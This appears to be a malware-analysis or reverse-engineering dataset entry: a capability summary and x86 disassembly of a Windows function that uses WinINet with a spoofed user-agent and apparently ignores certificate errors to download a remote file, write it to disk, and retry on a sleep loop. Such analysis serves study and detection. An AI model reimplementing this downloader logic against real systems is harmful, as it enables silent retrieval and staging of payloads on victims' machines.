Function at 0x401580
Capabilities:
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Send data
Send http request
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x44c
mov dword [esp], 0x406066
mov dword [esp + 0x38], 1
call sub.msvcrt.dll_puts
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.Mozilla_5.0__Windows_NT_10.0__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_39.0.2171.71_Safari_537.36_Edge_12.0
call sub.WININET.dll_InternetOpenA
sub esp, 0x14
mov edi, eax
mov eax, dword [esp + 0x460]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1bb
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.WININET.dll_InternetConnectA
sub esp, 0x20
mov ebp, eax
mov ecx, 0x3100
mov eax, dword [esp + 0x464]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0x800000
mov dword [esp + 0x14], 0x4060dd
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4060e2
mov dword [esp], ebp
mov word [esp + 0x36], cx
call sub.WININET.dll_HttpOpenRequestA
sub esp, 0x20
mov ebx, eax
lea eax, [esp + 0x36]
mov dword [esp + 0xc], 5
mov dword [esp + 4], 0x1f
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.WININET.dll_InternetSetOptionA
sub esp, 0x10
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.WININET.dll_HttpSendRequestA
sub esp, 0x14
cmp eax, 1
je 0x4016f0
cmp dword [0x405008], 2
jne 0x4017e9
call fcn.00401490
mov dword [esp], 0x1770
call sub.KERNEL32.dll_Sleep
sub esp, 4
add esp, 0x44c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x468]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov dword [esp], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
cmp eax, 0xffffffff
mov dword [esp + 0x28], eax
je 0x4017e9
mov edx, dword [esp + 0x38]
lea esi, [esp + 0x40]
test edx, edx
je 0x4017a5
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x28]
lea eax, [esp + 0x38]
mov dword [esp + 8], 0x400
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0xc], eax
call sub.WININET.dll_InternetReadFile
sub esp, 0x10
lea eax, [esp + 0x3c]
mov dword [esp + 0x10], 0
mov dword [esp + 4], esi
mov dword [esp], edi
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 8], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov eax, dword [esp + 0x38]
test eax, eax
jne 0x401753
mov edi, dword [esp + 0x2c]
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp], ebx
call sub.WININET.dll_InternetCloseHandle
sub esp, 4
mov dword [esp], ebp
call sub.WININET.dll_InternetCloseHandle
sub esp, 4
mov dword [esp], edi
call sub.WININET.dll_InternetCloseHandle
sub esp, 4
mov dword [esp], 0x1388
call sub.KERNEL32.dll_Sleep
sub esp, 4
jmp 0x4016bc
mov dword [esp], 0
call sub.msvcrt.dll_exit
lea esi, [esi]
lea edi, [edi]